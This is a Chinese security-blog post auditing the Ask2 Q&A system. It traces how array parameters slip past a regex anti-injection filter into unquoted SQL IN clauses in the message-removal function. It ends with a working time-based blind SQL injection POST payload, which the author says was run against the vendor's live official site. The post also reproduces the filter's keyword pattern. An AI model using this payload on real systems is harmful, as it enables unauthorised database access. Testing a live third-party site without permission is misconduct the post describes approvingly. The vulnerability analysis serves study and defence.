• 投稿邮箱:admin@xssec.org 查看详情
  • 本站教程默认解压密码:666
  • 官方新浪微博:Porry呦
  •    3个月前 (11-12)  漏洞库 |   2 条评论

    0x00 代码审计

    全局防注入机制,在/model/sowenda.class.php中第32行:

     $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
    
            $pos = strrpos($querystring, '.');
            if ($pos !== false) {
                $querystring = substr($querystring, 0, $pos);
            }
            /* 处理简短url */
            $pos = strpos($querystring, '-');
                $pos2 = strpos($querystring, '=');
            ($pos !== false) && $querystring = urlmap($querystring);
    
             ($pos2 !== false) && $querystring = urlmap($querystring);
    
            $andpos = strpos($querystring, "&");
            $andpos && $querystring = substr($querystring, 0, $andpos);
            $this->get = explode('/', $querystring);
            if (empty($this->get[0])) {
                $this->get[0] = 'index';
            }
            if (empty($this->get[1])) {
                $this->get[1] = 'default';
            }
            if (count($this->get) < 2) { exit(' Access Denied !'); } unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS); $this->get = taddslashes($this->get, 1);
            $this->post = taddslashes(array_merge($_GET, $_POST));
    
            checkattack($this->post, 'post');
            checkattack($this->get, 'get');
            unset($_POST);
    

    可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数:
    在/lib/global.func.php中第324行:

    function taddslashes($string, $force = 0) {
        if (!MAGIC_QUOTES_GPC || $force) {
            if (is_array($string)) {
                foreach ($string as $key => $val) {
                    $string[$key] = taddslashes($val, $force);
                }
            } else {
                $string = addslashes($string);
            }
        }
        return $string;
    }
    

    可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:

     checkattack($this->post, 'post');
            checkattack($this->get, 'get');
    

    将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:

    function checkattack($reqarr, $reqtype = 'post') {
        $filtertable = array(
            'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey => $reqvalue) {
            if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {
                print('Illegal operation!');
                exit(-1);
            }
        }
    }
    

    可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞我们可以绕过它。

    看一下漏洞触发点:

    在/control/message.php中第84行:
      function onremove() {
            if (isset($this->post['submit'])) {
                $inbox = $this->post['messageid']['inbox'];
                $outbox = $this->post['messageid']['outbox'];
                if ($inbox)
                    $_ENV['message']->remove("inbox", $inbox);
    
                if ($outbox)
                    $_ENV['message']->remove("outbox", $outbox);
    
                $this->message("消息删除成功!", get_url_source());
            }
        }
    

    可以看到这里的有两个变量是我们可控的,$inbox和$outbox。
    我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数:
    在/model/message.class.php中第91行:

    function remove($type, $msgids) {
            $messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
            if ('inbox' == $type) {
                $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
                $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
                $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
            } else {
                $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
                $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
            }
        }
    

    可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。
    我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。
    那么我们仔细看一下我们可控的这两个变量:

     $inbox = $this->post['messageid']['inbox'];
                $outbox = $this->post['messageid']['outbox'];
    

    可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。

    0x01 漏洞复现

    漏洞利用方式:

    我们直接去官网进行测试:

    http://www.ask2.cn/

    先在官网注册登录一个账号,然后访问如下payload:

    http://www.ask2.cn/message/remove.html
    POST: submit=2&messageid[inbox]=-1,if(1=1,sleep(1),0)
    

    成功延迟:

    ask2问答系统最新版注入

     

     

    除特别注明外,本站所有文章均为新世纪安全社区原创,转载请注明出处来自http://www.xssec.org/1348.html

    八块腹肌挂腰间,续写另类拳皇篇。

    发表评论

    1. 这波审计很棒哦 官网复现

      天蓝 3个月前 (11-12) [0] [0]
    2. 延迟注入 厉害哦 :wink:

      Jess 3个月前 (11-12) [0] [0]
    
    切换注册

    登录

    忘记密码 ?

    您也可以使用第三方帐号快捷登录

    切换登录

    注册

    扫一扫二维码分享